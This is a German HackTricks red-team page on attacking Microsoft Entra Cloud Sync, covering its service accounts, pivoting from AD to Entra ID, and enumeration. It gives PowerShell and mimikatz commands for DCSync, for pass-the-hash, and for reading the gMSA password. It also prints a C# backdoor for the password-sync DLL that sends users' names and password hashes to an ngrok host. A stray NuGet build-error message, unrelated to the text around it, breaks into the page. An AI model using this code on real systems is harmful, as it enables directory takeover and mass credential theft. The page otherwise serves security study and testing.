Az - Cloud Sync

Reading time: 9 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundinformationen

Cloud Sync ist im Grunde die neue Methode von Azure, um die Benutzer von AD in Entra ID zu synchronisieren.

Aus den Dokumenten: Microsoft Entra Cloud Sync ist ein neues Angebot von Microsoft, das entwickelt wurde, um Ihre hybriden Identitätsziele für die Synchronisierung von Benutzern, Gruppen und Kontakten zu Microsoft Entra ID zu erreichen. Dies wird erreicht, indem der Microsoft Entra Cloud-Provisioning-Agent anstelle der Microsoft Entra Connect-Anwendung verwendet wird. Es kann jedoch zusammen mit Microsoft Entra Connect Sync verwendet werden.

Generierte Prinzipale

Damit dies funktioniert, werden einige Prinzipale sowohl in Entra ID als auch im On-Premise-Verzeichnis erstellt:

  • In Entra ID wird der Benutzer On-Premises Directory Synchronization Service Account (ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com) mit der Rolle Directory Synchronization Accounts (d29b2b05-8046-44ba-8758-1e26182fcf32) erstellt.

warning

Diese Rolle hatte früher viele privilegierte Berechtigungen und konnte verwendet werden, um Privilegien sogar bis zum globalen Administrator zu eskalieren. Microsoft hat jedoch beschlossen, alle Berechtigungen dieser Rolle zu entfernen und ihr nur eine neue zuzuweisen microsoft.directory/onPremisesSynchronization/standard/read, die es nicht wirklich erlaubt, privilegierte Aktionen auszuführen (wie das Ändern des Passworts oder der Attribute eines Benutzers oder das Hinzufügen einer neuen Berechtigung zu einem SP).

  • In Entra ID wird auch die Gruppe AAD DC Administrators ohne Mitglieder oder Eigentümer erstellt. Diese Gruppe ist nützlich, wenn Microsoft Entra Domain Services verwendet wird.

  • Im AD wird entweder das Dienstkonto provAgentgMSA mit einem SamAccountName wie pGMSA_<id>$@domain.com (Get-ADServiceAccount -Filter * | Select Name,SamAccountName) erstellt, oder ein benutzerdefiniertes mit diesen Berechtigungen ist erforderlich. In der Regel wird das Standardkonto erstellt.

warning

Unter anderen Berechtigungen hat das Dienstkonto provAgentgMSA DCSync-Berechtigungen, die es jedem, der es kompromittiert, ermöglichen, das gesamte Verzeichnis zu kompromittieren. Für weitere Informationen über DCSync überprüfen Sie dies.

note

Standardmäßig werden Benutzer bekannter privilegierter Gruppen wie Domain Admins mit dem Attribut adminCount auf 1 nicht mit Entra ID synchronisiert, aus Sicherheitsgründen. Andere Benutzer, die jedoch Teil privilegierter Gruppen ohne dieses Attribut sind oder direkt hohe Privilegien zugewiesen bekommen, können synchronisiert werden.

Passwortsynchronisierung

Der Abschnitt ist sehr ähnlich zu dem aus:

Az - Connect Sync

  • Passwort-Hash-Synchronisierung kann aktiviert werden, sodass Benutzer sich mit ihren Passwörtern aus AD in Entra ID einloggen können. Darüber hinaus wird jedes Mal, wenn ein Passwort in AD geändert wird, es in Entra ID aktualisiert.
  • Passwort-Rückschreibung kann ebenfalls aktiviert werden, sodass Benutzer ihr Passwort in Entra ID ändern können, wobei ihr Passwort automatisch im On-Premise-Domain synchronisiert wird. Laut den aktuellen Dokumenten ist dafür der Connect-Agent erforderlich, also werfen Sie einen Blick auf den Az Connect Sync-Bereich für weitere Informationen.
  • Gruppen-Rückschreibung: Diese Funktion ermöglicht es, Gruppenmitgliedschaften von Entra ID zurück in das On-Premise-AD zu synchronisieren. Das bedeutet, dass, wenn ein Benutzer einer Gruppe in Entra ID hinzugefügt wird, er auch der entsprechenden Gruppe im AD hinzugefügt wird.

Pivoting

AD --> Entra ID

  • Wenn die AD-Benutzer von AD nach Entra ID synchronisiert werden, ist das Pivoting von AD zu Entra ID unkompliziert, einfach das Passwort eines Benutzers kompromittieren oder das Passwort eines Benutzers ändern oder einen neuen Benutzer erstellen und warten, bis er in das Entra ID-Verzeichnis synchronisiert wird (in der Regel nur ein paar Minuten).

Sie könnten zum Beispiel

  • Das provAgentgMSA-Konto kompromittieren, einen DCSync-Angriff durchführen, das Passwort eines Benutzers knacken und es dann verwenden, um sich in Entra ID einzuloggen.
  • Einfach einen neuen Benutzer im AD erstellen, warten, bis er in Entra ID synchronisiert wird, und ihn dann verwenden, um sich in Entra ID einzuloggen.
  • Das Passwort eines Benutzers im AD ändern, warten, bis es in Entra ID synchronisiert wird, und es dann verwenden, um sich in Entra ID einzuloggen.

Um die provAgentgMSA-Anmeldeinformationen zu kompromittieren:

powershell
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword

# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"

# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'

# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'

#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

Jetzt könnten Sie den Hash des gMSA verwenden, um einen Pass-the-Hash-Angriff gegen Entra ID mit dem provAgentgMSA-Konto durchzuführen und Persistenz aufrechtzuerhalten, um DCSync-Angriffe gegen das AD durchzuführen.

Für weitere Informationen darüber, wie man ein Active Directory kompromittiert, siehe:

Active Directory Methodology - HackTricks

note

Beachten Sie, dass es keine Möglichkeit gibt, Azure- oder EntraID-Rollen an synchronisierte Benutzer basierend auf ihren Attributen, zum Beispiel in den Cloud Sync-Konfigurationen, zu vergeben. Um jedoch automatisch Berechtigungen an synchronisierte Benutzer zu gewähren, könnten einige Entra ID-Gruppen aus AD Berechtigungen erhalten, sodass die synchronisierten Benutzer innerhalb dieser Gruppen diese ebenfalls erhalten, oder dynamische Gruppen könnten verwendet werden, also überprüfen Sie immer die dynamischen Regeln und potenzielle Möglichkeiten, sie auszunutzen:

Az - Dynamic Groups Privesc

Bezüglich der Persistenz schlägt dieser Blogbeitrag vor, dass es möglich ist, dnSpy zu verwenden, um die DLL Microsoft.Online.Passwordsynchronisation.dll zu backdooren, die sich in C:\Program Files\Microsoft Azure AD Sync\Bin befindet und vom Cloud Sync-Agenten verwendet wird, um die Passwortsynchronisierung durchzuführen, sodass sie die Passwort-Hashes der synchronisierten Benutzer an einen Remote-Server exfiltriert. Die Hashes werden innerhalb der Klasse PasswordHashGenerator generiert, und der Blogbeitrag schlägt vor, etwas Code hinzuzufügen, sodass die Klasse wie folgt aussieht (beachten Sie die Verwendung von use System.Net und WebClient, um die Passwort-Hashes zu exfiltrieren):

csharp
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;

namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}

NuGet-Paketwiederherstellung für das Projekt AzTokenFinder fehlgeschlagen: Version '4.3.2' des Pakets 'System.Security.Cryptography.X509Certificates' konnte nicht gefunden werden.
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages: Paket 'System.Security.Cryptography.X509Certificates.4.3.2' wurde in der Quelle 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages' nicht gefunden.
Bitte sehen Sie sich das Fehlerlistenfenster für detaillierte Warnungen und Fehler an.

Entra ID --> AD

  • Wenn Password Writeback aktiviert ist, können Sie das Passwort einiger Benutzer aus Entra ID ändern und sich mit diesen im AD-Netzwerk verbinden, wenn Sie Zugriff darauf haben. Weitere Informationen finden Sie im Abschnitt Az Connect Sync, da die Passwortwiederherstellung mit diesem Agenten konfiguriert wird.

  • Zu diesem Zeitpunkt ermöglicht Cloud Sync auch "Microsoft Entra ID zu AD", aber nach zu viel Zeit habe ich festgestellt, dass es EntraID-Benutzer NICHT mit AD synchronisieren kann und dass es nur Benutzer aus EntraID synchronisieren kann, die mit dem Passwort-Hash synchronisiert wurden und aus einer Domäne stammen, die zum gleichen Domänenforest gehört wie die Domäne, mit der wir synchronisieren, wie Sie in https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits lesen können:

  • Diese Gruppen können nur lokal synchronisierte Benutzer und/oder zusätzlich in der Cloud erstellte Sicherheitsgruppen enthalten.
  • Die lokal synchronisierten Benutzerkonten, die Mitglieder dieser in der Cloud erstellten Sicherheitsgruppe sind, können aus derselben Domäne oder aus verschiedenen Domänen stammen, müssen jedoch alle aus demselben Forest stammen.

Die Angriffsfläche (und Nützlichkeit) dieses Dienstes ist also erheblich reduziert, da ein Angreifer das ursprüngliche AD, von dem die Benutzer synchronisiert werden, kompromittieren müsste, um einen Benutzer in der anderen Domäne zu kompromittieren (und beide müssen anscheinend im selben Forest sein).

Enumeration

bash
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks